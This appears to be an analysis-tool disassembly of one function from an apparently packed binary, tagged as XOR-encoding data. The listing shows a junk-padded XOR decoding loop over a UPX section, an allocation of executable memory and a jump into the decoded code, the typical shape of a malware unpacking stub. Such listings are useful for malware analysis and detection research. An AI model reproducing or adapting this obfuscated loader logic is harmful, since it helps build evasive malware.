Function at 0x47afb8
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x8c3453b5
and eax, eax
mov eax, 0x97c52648
popal
sub edx, 0xc72a2266
sub edx, 0x5a1963b8
mov ecx, 0
mov ebx, edx
sub eax, 0xa02cfe5e
not eax
mov esi, ebx
add edi, 1
mov edi, eax
or edi, eax
mov edx, esi
sub edi, 0x74dd30b4
and eax, edi
inc ecx
add edi, edi
sub edi, 0x1f273c23
cmp ecx, 0x1004078
jne 0x47afd7
dec edi
and edi, edi
cmp ecx, 0x1004078
je 0x47b01e
mov ecx, 0
mov dword [ecx], eax
dec eax
and eax, edi
sub edx, 0x10ee1f82
add eax, 1
mov ebx, 0x47ada2
not edi
sub eax, edi
mov ecx, 0x47af96
inc edx
or edi, edi
inc edx
mov esi, dword [ebx]
sub edi, 1
not eax
dec edx
and esi, 0xff
mov edi, 0xcd6acdd2
add eax, 0xdda4ffef
sub edx, eax
xor dword [ecx], esi
and edx, eax
mov edx, 0x706b4d72
inc ecx
and eax, eax
not edx
not edx
inc ebx
mov edi, eax
not eax
mov edx, eax
cmp ecx, entry0
jl 0x47b03f
sub edi, 0x2fdc842d
add edi, eax
sub eax, 0x3178014d
sub eax, 0x2c98dfa0
not edi
and esi, edx
not edx
inc esi
mov ecx, 0x47af9a
inc edx
sub edi, ebx
add edi, 0xa17abc70
mov ecx, dword [ecx]
mov edi, esi
add ebx, 1
or edi, edi
mov ecx, dword [ecx]
not edx
sub edx, edi
mov edi, esi
push ecx
dec ebx
or edx, esi
mov ecx, 0x47af96
or edx, edi
add esi, edi
mov ecx, dword [ecx]
and edi, edx
not edi
dec esi
mov ecx, dword [ecx]
sub edi, 0x170e341f
add ebx, edi
or esi, edx
push 0x47af9e
dec edi
mov edi, esi
call ecx
dec edi
dec ebx
dec ebx
pop ecx
mov edx, 0xcc20392f
not edi
sub esp, 4
mov dword [esp], 0x47afab
dec ebx
add edx, 1
push eax
or edx, edi
and edx, esi
call ecx
and edi, esi
and edi, esi
push 0x40
mov edi, 0x15a921e
sub ebx, 0x1c10d800
push 0x3000
add edx, 0xfffbee42
sub edx, 0x21bc6483
push 0x20000622
sub edi, 0xcf2d8ac6
dec edx
mov ebx, edx
sub esp, 4
mov dword [esp], 0
sub esi, 0xab95628b
mov ebx, 0xf74c12ec
sub esi, edx
call eax
inc ebx
mov edi, 0xce5941fb
add eax, 0x20000568
not ebx
dec edx
mov ecx, 0xf34edc44
and edi, edi
mov esi, 0xc5ffa118
mov dword [eax], ecx
add ebx, ebx
sub edx, esi
add edi, 0x76f0c45b
mov ecx, dword [eax]
not edi
and edi, edi
not esi
cmp ecx, 0xf34edc44
je 0x47b194
mov edx, 0
mov ebx, dword [edx]
sub esi, 0xacb5587f
inc ebx
mov edx, edi
and edi, ebx
and edx, eax
sub eax, 0xad19edb7
mov ecx, section.UPX1
add eax, 0xff6b14de
not edx
mov esi, 0x47ada1
sub edx, 0x9782e10d
dec edx
add edx, 0x945a070b
mov ebx, 0
mov eax, edx
and eax, eax
mov edi, 0x47ada2
add edx, 1
and edx, edx
add eax, 0x988af086
lea edi, [ebx + edi]
mov eax, edx
and edx, eax
mov edi, dword [edi]
not eax
inc eax
inc eax
and edi, 0xff
add edx, 0x48440824
or edx, eax
inc ebx
add eax, eax
and edx, edx
mov edx, eax
cmp ebx, 0x1f4
jne 0x47b211
mov ebx, 0
and edx, eax
and eax, eax
mov eax, edx
add eax, 0xa50c917a
sub edx, 1
xor dword [ecx], edi
add edx, eax
or edx, eax
not edx
add ecx, 2
sub edx, eax
not eax
cmp ecx, esi
jl 0x47b1cf
not eax
or edx, edx
sub eax, 0x3976c96c
add eax, 1
not edx
mov edi, section.UPX1
not esi
inc esi
mov edx, section.UPX1
dec esi
mov esi, 0xf2c80ec4
mov ecx, 0x47ada1
add ebx, ebx
dec ebx
mov esi, 0x36674a88
mov eax, 0
and esi, ebx
mov esi, ebx
mov al, byte [edx]
sub ebx, 0x17723ca5
or esi, esi
mov byte [edi], al
inc ebx
not ebx
add ebx, 0xe456fc5f
inc edi
not ebx
dec esi
add edx, 2
mov ebx, esi
sub esi, 0x2894968c
cmp edx, ecx
jle 0x47b278
mov esi, ebx
sub ebx, 0x2c357c04
mov edx, eax
or edx, edx
add eax, 0x8a019f04
push 0x45e6a0
and edx, eax
sub edx, eax
mov eax, 0xcf625b5e
ret